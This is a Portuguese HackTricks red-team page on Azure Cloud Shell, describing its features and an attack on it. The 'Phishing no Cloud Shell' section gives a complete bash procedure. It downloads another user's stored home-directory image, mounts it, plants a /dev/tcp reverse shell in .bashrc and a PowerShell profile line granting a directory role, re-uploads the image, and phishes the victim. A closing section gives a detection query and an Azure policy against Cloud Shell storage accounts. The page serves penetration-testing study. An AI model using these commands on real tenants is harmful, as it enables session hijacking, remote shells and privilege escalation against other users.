Az - Cloud Shell

Reading time: 6 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Azure Cloud Shell

Azure Cloud Shell é um terminal interativo, autenticado e acessível pelo navegador, projetado para gerenciar recursos do Azure, oferecendo a flexibilidade de trabalhar com Bash ou PowerShell. Ele é executado em um host temporário, por sessão, que expira após 20 minutos de inatividade, enquanto persiste arquivos na localização $HOME usando um compartilhamento de arquivos de 5 GB. O Cloud Shell pode ser acessado através de múltiplos pontos, incluindo o portal do Azure, shell.azure.com, documentação do Azure CLI e PowerShell, o aplicativo móvel do Azure e a extensão Azure Account do Visual Studio Code.

Não há permissões atribuídas a este serviço, portanto, não há técnicas de escalonamento de privilégios. Também não há qualquer tipo de enumeração.

Principais Recursos

  • Ferramentas Pré-instaladas: O Cloud Shell inclui um conjunto abrangente de ferramentas pré-instaladas, como Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editores de texto como vim, nano e emacs. Essas ferramentas estão prontas para uso. Para listar os pacotes e módulos instalados, você pode usar "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
  • Unidade Azure (Azure:): O PowerShell no Azure Cloud Shell inclui a unidade Azure (Azure:), que permite a navegação fácil pelos recursos do Azure, como Computação, Rede e Armazenamento, usando comandos semelhantes a sistemas de arquivos. Mude para a unidade Azure com cd Azure: e retorne ao seu diretório inicial com cd ~. Você ainda pode usar cmdlets do Azure PowerShell para gerenciar recursos de qualquer unidade.
  • Instalação de Ferramentas Personalizadas: Usuários que configuram o Cloud Shell com uma conta de armazenamento podem instalar ferramentas adicionais que não requerem permissões de root. Este recurso permite uma personalização adicional do ambiente do Cloud Shell, permitindo que os usuários ajustem sua configuração às suas necessidades específicas.
  • Persistência do $HOME: Ao iniciar o Azure Cloud Shell pela primeira vez, você pode usá-lo com ou sem uma conta de armazenamento anexada.
  • Optar por não anexar armazenamento cria uma sessão efêmera onde os arquivos são excluídos quando a sessão termina.
  • Para persistir arquivos entre sessões, você tem a opção de montar uma conta de armazenamento, que é anexada automaticamente como $HOME\clouddrive, com seu diretório $HOME salvo como um arquivo .img em um Compartilhamento de Arquivos.

Phishing no Cloud Shell

Se um atacante encontrar imagens de outros usuários em uma Conta de Armazenamento à qual ele tem acesso de leitura e gravação, ele poderá baixar a imagem, adicionar um backdoor bash e PS a ela, e enviá-la de volta para a Conta de Armazenamento, de modo que na próxima vez que o usuário acessar o shell, os comandos serão executados automaticamente.

  • Baixar, backdoor e enviar a imagem:
bash
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>

# Mount image
cd /tmp/phishing_img/.cloudconsole
mkdir /tmp/cloudpoison
sudo mount acc_username.img /tmp/cloudpoison
cd /tmp/cloudpoison
sudo mkdir .config
sudo mkdir .config/PowerShell
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
cd /tmp

sudo umount /tmp/cloudpoison

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
  • Em seguida, phishing o usuário para acessar https://shell.azure.com/

Encontrar e Proibir Contas de Armazenamento Automáticas do Cloud Shell

As contas de armazenamento criadas pelo Cloud Shell são marcadas com ms-resource-usage:azure-cloud-shell. É possível criar uma política de recurso do Azure que desabilite a criação de recursos com essa tag.

Encontre todas as contas de armazenamento criadas pelo Cloud Shell por tags:

bash
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'

Política para proibir a criação de contas de armazenamento automáticas para armazenamento de shell em nuvem com base em tags:

json
{
displayName: "Restrict cloud shell storage account creation",
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
metadata: {
category: "Storage",
version: "1.0.0"
},
mode: "All",
parameters: {
effect: {
type: "String",
metadata: {
displayName: "Effect",
description: "Deny, Audit or Disabled the execution of the Policy"
},
allowedValues: [
"Deny",
"Audit",
"Disabled"
],
defaultValue: "Audit"
}
},
policyRule: {
if: {
allOf: [
{
field: "type",
equals: "Microsoft.Storage/storageAccounts"
},
{
field: "tags['ms-resource-usage']",
equals: "azure-cloud-shell"
}
]
},
then: {
effect: "[parameters('effect')]"
}
}
}

Referências

Persistência

Az - Cloud Shell Persistence

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks